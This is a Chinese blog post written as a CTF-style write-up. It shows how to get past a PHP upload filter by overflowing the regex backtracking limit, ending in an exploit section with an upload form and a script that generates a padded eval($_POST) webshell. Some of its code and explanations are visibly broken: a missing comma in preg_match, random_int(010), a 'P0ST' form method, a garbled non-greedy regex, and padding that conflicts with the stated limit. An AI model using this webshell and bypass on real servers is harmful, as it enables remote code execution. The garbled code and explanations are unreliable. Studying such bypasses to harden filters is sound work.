PHP正则回溯溢出绕过

PHP正则回溯溢出绕过

案例代码

<?php
    function is_php($data){
        return preg_match('/<\?.*[(`;?>].*/is'$data);
    }
    if(empty($_FILES)) {
        die(show_source(__FILE__)) ;
    }
    $user_dir = './data/';
    $data = file_get_contents($_FILES['file']['tmp_name']);
    if (is_php($data)) {
        echo 'bad request';
    } else {
        @mkdir($user_dir, 0777) ;
        $path = $user_dir . '/' . random_int(010) . '.php';
        move_uploaded_file($_FILES['file']['tmp_name'], $path) ;
        header ("Location: $path", true, 303) ;
    }
?>

  我们需要上传webshell来控制后台,但是is_php()函数对文件内容做了正则检测;关键点就是需要突破正则检测。

分析

非贪婪匹配原理:
  源字符串: aaab,正则: .?b 匹配过程开始的时候,"?“首先取得匹配控制权,因为是非贪婪模式,所以优先 不匹配,将匹配控制交给下一个匹配字符"b”, “b"在源字符串位置1(从左往右)匹配失败 (“a”),于是回溯,将匹配控制交回给”.?"
  这个时候,".
?“在位置1匹配一个字符"a”, 并再次将控制权交给"b","b"继续在位置2匹配,如此反复,最终得到匹配结果。
正则回溯原理
  刚开始匹配 ”<?“ ,然后碰到了贪婪匹配会把后面所有的都给匹配上,再继续到中括号中的匹配,因为后面没有内容了,于是开始回溯匹配,直到匹配到中括号内的字符。

  PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit,获取PHP正则的回溯次数(默认次数是一百万)
PHP正则代码案例
  preg_match()函数会返回匹配次数,分别是0次(不匹配)和1次,但是如果回溯次数超过一百万次就会返回false。则通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。

EXP

# 题解
# 需要先构造一个文件上传页面
<html>
<body>
    <form action="http://xx.xx.xx.xx/php/pcrewaf.php" method="P0ST" enctype="multipart/form-data">
        <h3> Test upload tmp file</h3>
        <label for="file">Filename:</label>
        <input type="file" name="file"/><br/>
        <input type="submit" name="submit" value="Submit" />
    </form>
</body>
</html>
 
# 构造一个能回溯超过一百万次的webshell文件
<?php
    $webshell = "<?php @eval($_POST[1]);".str_repeat('a', 100000);
    file_put_contents('exp.php', $webshell);
?>
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值